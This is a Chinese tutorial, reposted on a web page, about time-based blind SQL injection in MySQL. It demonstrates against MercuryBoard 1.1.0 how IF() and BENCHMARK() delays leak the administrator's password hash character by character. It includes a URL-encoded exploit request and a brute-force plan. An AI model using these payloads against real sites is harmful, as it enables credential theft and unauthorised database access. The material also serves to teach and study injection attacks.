MySQL数据库盲注技术

2016-02-19 18:03 9 1 收藏

今天给大家分享的是由图老师小编精心为您推荐的MySQL数据库盲注技术,喜欢的朋友可以分享一下,也算是给小编一份支持,大家都不容易啊!

【 tulaoshi.com - 编程语言 】

  基于这个原因用SELECT...UNION是不够的。

  注射工具盒

  当我们得到没有错误提示,一个普通的注射总是用UNION SELECT [null,null,..到前面选择里正确列的数字]/* 去看,

  因此我们可以更深入。假如没有输出结果显示,即使我们准确地知道每个表里每个列的名字,也几乎不可能得到内容。

  用codebug.org发现的MercuryBoard里不可利用的漏洞做例子,我将会一步一步演示如何从被里发现的不可利用的漏洞里找到密码散列。

  我假设这个表的名字是已知的。(在审核一个开放脚本资源,或者调试默认选项是否活动是,这是都一种正常的假设)

  漏洞

  MercuryBoard v. 1.1.0 Alberto Trivero发现存在一个SQL注入漏洞,当post.php包含被设置成'reply',并且参数't'被传递。

  当用户登陆进行以下操作时,结果将会发生一个错误:

  http://www.site.com/mercuryboard/index.php?a=post&s=reply&t=1'

  这个结果看起来像是不能被利用的。

  准备好盲目性

  首先用数据库低权限的用户完整安装有漏洞的Mercuryboard版本。

  |---|数据库名字是'mercuryboard'|---| (让我显示表名)

mysql SHOW TABLES;
+-------------------+
| Tables_in_mercury |
+-------------------+
| mb_active |
| mb_attach |
| mb_forums |
| mb_groups |
| mb_help |
| mb_logs |
| mb_membertitles |
| mb_pmsystem |
| mb_posts |
| mb_replacements |
| mb_settings |
| mb_skins |
| mb_subscriptions |
| mb_templates |
| mb_topics |
| mb_users |
| mb_votes |
+-------------------+

(本文来源于图老师网站,更多请访问http://www.tulaoshi.com/bianchengyuyan/)

  17 rows in set (0.00 sec)

  |---| 你看到的当前用户是普通用户|---| (不会作为root运行)

mysql SELECT USER();
+---------------+
| USER() |
+---------------+
| 123@localhost |
+---------------+
1 row in set (0.00 sec)
mysql SELECT password,USER() FROM mysql.user;
ERROR 1142: select command denied to user: '123@localhost' for table 'user'
mysql

  |---| 下面的查询将显示管理员的散列的第一个字节|---|

  mysql SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;

  +------------------------------+

  | SUBSTRING(user_password,1,1) |

  +------------------------------+

  | 5 |

  +------------------------------+

  1 row in set (0.00 sec)

(本文来源于图老师网站,更多请访问http://www.tulaoshi.com/bianchengyuyan/)

  |---| 下面显示管理员散列ASCII的第一个字节|---|

  mysql SELECT ASCII('5');

  +------------+

  | ASCII('5') |

  +------------+

  | 53 |

  +------------+

  1 row in set (0.00 sec)

(本文来源于图老师网站,更多请访问http://www.tulaoshi.com/bianchengyuyan/)

  区别

  目标是找到一种以某种方式建议的方法,以至我们寻找的内容是正确的。怎么可能知道管理员散列的第一个

  字节是否等于'5'?在NGSS资料里,假如内容与注射的匹配,作者将简单的使查询延迟。在mssql里这个会用一个条件

  IF [QUERY] waitfor [TIME]来追加,而mysql不支持'waitfor'。

  在下面查询中我成功的用IF()函数跟随一个BENCHMARK()函数来创建5秒钟的延迟。当前用户可以用低权限

  执行(当然假如你可以SELECT你就可以执行BENCHMARK()函数)。

  |---|传递一个错误的数字 |---| (CHAR(52) is equal to '4')

mysql Select active_id FROM mb_active UNION SELECT IF(SUBSTRING(user_password,1
,1) = CHAR(52),BENCHMARK(5000000,ENCODE('Slow Down','by 5 seconds')),null) FROM
mb_users WHERE user_group = 1;
+-----------+
| active_id |
+-----------+
| 3 |
| 0 |
+-----------+
2 rows in set (0.00 sec)

  在前面的例子中BENCHMARK()函数没有被执行((耗时

  0.00 sec). )

  |---| 传递相匹配内容|---| (BENCHMARK() 被执行)

mysql Select active_id FROM mb_active UNION SELECT IF(SUBSTRING(user_password,1
,1) = CHAR(53),BENCHMARK(5000000,ENCODE('Slow Down','by 5 seconds')),null) FROM
mb_users WHERE user_group = 1;
+-----------+
| active_id |
+-----------+
| 3 |
| 0 |
+-----------+

  2 rows in set (5.36 sec)

  在前面的例子里BENCHMARK()函数延迟查询5.36s。

  对GET req修补

  为能成功注射SQL指令我们不得不清除任何单个回显的request.

  |---| 清除回显|---|

mysql Select active_id FROM mb_active UNION SELECT IF(SUBSTRING(user_password,1
,1) = CHAR(53),BENCHMARK(1000000,MD5(CHAR(1))),null) FROM mb_users WHERE user_gr
oup = 1;
+-----------+
| active_id |
+-----------+
| 3 |
| 0 |
+-----------+
2 rows in set (4.65 sec)
mysql


  漏洞利用

  首先我们必须登陆一个已注册的用户。

/mercuryboard/index.php?a=post&s=reply&t=1%20UNION%20SELECT%20IF
(SUBSTRING(user_password,1,1)%20=%20CHAR(53),BENCHMARK(1000000,MD5(CHAR(1))),
null),null,null,null,null%20FROM%20mb_users%20WHERE%20user_group%20=%201/*


  我们可以看到慢下2秒导致第一字节是CHAR(53), 5。

  暴力破解

  一个字母一个字母地重建内容是必须的,仅仅一个简单的perl脚本执行GET 请求并等待一个字节一个字节

  的回答{..SUBSTRING(strn,[1,2,3..n],1)..},假如这个回应被延迟了7-10秒,我们有权利填充。暴力破解

  可以得到MD5散列,32字节。

  0 to 9 -- ASCII 48 to 57

  a to z -- ASCII 97 to 122

  最差的结果是36个请求,每个请求3秒加上延迟才是正确的字节,得到完整散列为((3*35)+10)*32= 3622 秒(1小时)

  结论

  Mysql可以被盲注。

来源:http://www.tulaoshi.com/n/20160219/1616720.html

延伸阅读
6.4 客户机程序3—产生连接代码模块     对于我们的第三个客户机程序,即客户机程序3,通过将它封装到函数do_connect() 和do_disconnect() 中,将使连接和断开代码更加模块化,这样可以很容易地由多个客户机程序使用。这提供一种选择,可将连接代码精确地嵌入到main() 函数中。无论如何,对在应用程序过程中套用老调的任何...
6.7 客户机程序5—交互式查询程序     让我们把迄今为止研究的诸多内容整理一下,编写一个简单的交互式客户机程序。它的功能包括可以进入查询,用通用目标查询处理程序process_query 执行查询,并用前面研究过的显示格式process_result_set() 显示查询结果。     客户机程序5在某些方面与mysql 类似,虽...
    3.6 检索记录     除非最终检索它们并利用它们来做点事情,否则将记录放入数据库没什么好处。这就是SELECT 语句的用途,即帮助取出数据。SELECT 大概是SQL 语言中最常用的语句,而且怎样使用它也最为讲究;用它来选择记录可能相当复杂,可能会涉及许多表中列之间的比较。SELECT 语句的语法如下: &nbs...
6.8 其他主题     本节包括几个主题,这些主题不完全适合于本章从client1 到client5 的开发中的任一小节的内容:     ■ 在使用结果集元数据帮助验证这些数据适合于计算之后,使用结果集数据计算结果。     ■ 如何处理很难插入到查询中的数据。     ■ 如何处理图形数...
    关系数据库的世界是一个表与集合、表与集合上的运算占统治地位的世界。数据库是一个表的集合,而表又是行和列的集合。在发布一条SELECT 查询从表中进行检索行时,得到另一个行和列的集合。这些都是一些抽象的概念,对于数据库系统用来操纵表中数据的基本表示没有多少参考价值。另一个抽象概念是,表上的运算都同时进行;查...

经验教程

146

收藏

100
微博分享 QQ分享 QQ空间 手机页面 收藏网站 回到头部